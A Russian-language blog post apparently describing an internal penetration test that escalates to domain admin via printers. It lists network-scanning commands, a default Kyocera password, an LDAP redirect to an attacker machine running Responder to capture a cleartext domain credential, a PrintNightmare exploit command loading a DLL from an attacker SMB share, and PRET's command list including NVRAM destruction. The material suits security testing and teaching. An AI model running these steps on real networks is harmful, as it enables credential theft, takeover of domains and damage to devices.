Информационная безопасность (ИБ)
November 5

Получение DA через принтер

Во внутренней сети могут быть сотни и даже тысячи веб-приложений. Посмотреть их все вручную нереально. С помощью eyewitness пройдемся по всем веб-приложениям и попытаемся сделать скриншот, чтобы отсортировать службы по категориям (например, принтеры, сетевые устройства, Unauthorized).

masscan -p 80,443,8080,8443,8000 -i eth0 | tee web_ports.txt
cat web_ports.txt | awk {‘print $6’} | sort | uniq > web_hosts.txt
nmap -p 80,443,8080,8443,8000 -iL web_hosts.txt -oX nmap_scan_web.xml
eyewitness -x nmap_scan_web.xml -d eyew --web

Имея дело с принтерами Kyocera, стоит попробовать пароль по умолчанию (Admin:Admin).

В настройках этого принтера указаны настройки адресной книги, которая используется для загрузки информации о пользователях Active Directory, например, для отправки результата сканирования пользователю. То есть у принтера есть учетная запись, с которой он обращается к LDAP-серверу. Это можно использовать: запустив на своем хосте Responder (который поднимает в том числе и LDAP-сервер), и заменив имя LDAP-сервера на IP-адрес атакующей машины и нажала кнопку «Тест». В результате мы получим пароль УЗ DOMAIN\Reader в открытом виде.

Попробуем проэксплуатировать уязвимость PrintNightmare, которая позволяет выполнять произвольный код с правами системы. Применим общедоступный эксплойт, с полученной ранее учеткой DOMAIN\Reader и dll, при выполнении которой изменяется пароль локального пользователя Administrator на хосте ca02.domain.local:

python CVE-2021-1675.py domain.local\username:password@victim-ip ‘\\attacker_host\smb_share_name\dll_name.dll’

Еще один незаменимый инструмент при тестировании инфраструктуры заказчика - PRET. Вот список возможностей инструмента:

id         Show device information.
version    Show PostScript interpreter version.
devices    Show available I/O devices.
uptime     Show system uptime (might be random).
date       Show printer's system date and time.
pagecount  Show printer's page counter.
lock       Set startjob and system parameters password.
unlock     Unset startjob and system parameters password.
restart    Restart PostScript interpreter.
reset      Reset PostScript settings to factory defaults.
disable    Disable printing functionality.
destroy    Cause physical damage to printer's NVRAM.
hang       Execute PostScript infinite loop.
overlay    Put overlay eps file on all hardcopies:  overlay <file.eps>
cross      Put printer graffiti on all hardcopies:  cross <font> <text>
replace    Replace string in documents to be printed:  replace <old> <new>
capture    Capture further jobs to be printed on this device.
hold       Enable job retention.
set        Set key to value in topmost dictionary:  set <key=value>
known      List supported PostScript operators:  known <operator>
search     Search all dictionaries by key:  search <key>
dicts      Return a list of dictionaries and their permissions.
resource   List or dump PostScript resource:  resource <category> [dump]
dump       Dump dictionary:  dump <dict>
  Dictionaries: - systemdict - statusdict - userdict 
                - globaldict - serverdict - errordict
                - internaldict - currentsystemparams
                - currentuserparams - currentpagedevice
config     Change printer settings:  config <setting>
  duplex        - Set duplex printing.
  copies #      - Set number of copies.
  economode     - Set economic mode.
  negative      - Set negative print.
  mirror        - Set mirror inversion.

Life-Hack Media:

Life-Hack - Жизнь-Взлом

Новости Кибербеза

Курсы по программированию

Юмор